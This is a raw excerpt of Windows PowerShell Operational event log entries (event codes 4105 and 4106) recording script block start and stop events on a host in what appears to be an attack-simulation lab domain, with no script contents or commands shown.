Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032973
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032967
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032945
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032944
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032943
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032942
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
